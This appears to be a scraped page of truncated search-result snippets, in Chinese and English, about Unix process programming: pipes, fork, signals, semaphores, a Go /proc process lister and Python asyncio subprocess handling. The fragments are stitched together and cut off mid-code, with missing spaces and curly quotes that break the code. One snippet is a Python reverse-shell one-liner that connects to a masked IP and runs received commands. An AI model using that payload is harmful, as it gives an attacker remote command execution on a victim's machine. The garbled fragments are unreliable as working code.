#include <stdio.h>#include<unistd.h>#include<string.h>#include<errno.h>intmain() {intfd[2];intret =pipe(fd);if(ret == -1) { perror(”pipe error\n”);return1; } pid_t id=fork();if(id ==0) {//childinti =0; close(fd[0]);char*child = “I am child!”;while(i<5)...
void fun_pare(int sig)//父进程响应Ctrl C 信号函数 { kill(childpid[1],SIGUSR1); kill(childpid[2],SIGUSR2); } 3.子进程接收父进程发来的信号 signal(SIGUSR1,fun_chid); signal(SIGUSR2,fun_chid); 注意在子进程中应该屏蔽Ctrl+C信号,否则,在父进程响应Ctrl+C时,子进程就会调用默认的响应函...
11. perror(”pipe error\n”); 12. return 1; 13. } 14. pid_t id = fork(); 15. if (id == 0) 16. {//child 17. int i = 0; 18. close(fd[0]); 19. char *child = “I am child!”; 20. while (i<5) 21. { 22. write(fd[1], child, strlen(child) + 1); 23. ...
import ( "fmt" "io/ioutil" "os" "strconv" "strings" ) func GetProcessList() (resultData []map[string]string) { var dirs []string var err error dirs, err = dirsUnder("/proc") if err != nil || len(dirs) == 0 { return } for _, v := range dirs { pid, err := strcon...
pid_tpid = fork; if(pid ==0) { // 子进程 for(inti =0; i <10; ++i) { sem_wait(sem);// 等待信号量 (*counter)++;// 递增计数器 printf("Child process increments counter to %d\n", *counter); sem_post(sem);// 释放信号量 ...
(False)))breakprocess.kill()returnawaitprocess.wait()# wait for the child process to exitifsys.platform =="win32": loop = asyncio.ProactorEventLoop() asyncio.set_event_loop(loop)else: loop = asyncio.get_event_loop()withclosing(loop): sys.exit(loop.run_until_complete(readline_and_kill("...
pid_t id=fork();if(id==0){ int i=0;close(fd[0]);char* child="I am child!";while(i<5){ write(fd[1],child,strlen(child)+1);sleep(2);i++;} } else if(id>0){ close(fd[1]);char msg[100];int j=0;while(j<5){ memset(msg,'\0',sizeof(msg));ssize_t s=read(fd...
python-c "exec(\"import socket, subprocess;s=socket.socket();s.connect(('10.10.XX.XX',6060))\nwhile1: proc=subprocess.Popen(s.recv(1024), Shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")" ...
进程之间可以互相通过系统调用kill发送软中断信号。内核也可以因为内部事件而给进程发送信号,通知进程发生了某个事件。信号机制除了基本通知功能外,还可以传递附加信息。 收到信号的进程对各种信号有不同的处理方法。处理方法可以分为三类: 第一种是类似中断的处理程序,对于需要处理的信号,进程可以指定处理函数,由该函数...
printf("pipe create error "); return -1; } if((pid=fork())==0) { printf(" "); close(pipe_fd[1]); sleep(3);//确保父进程关闭写端 r_num=read(pipe_fd[0],r_buf,100); printf( "read num is %d the data read from the pipe is %d ",r_num,atoi(r_buf)); ...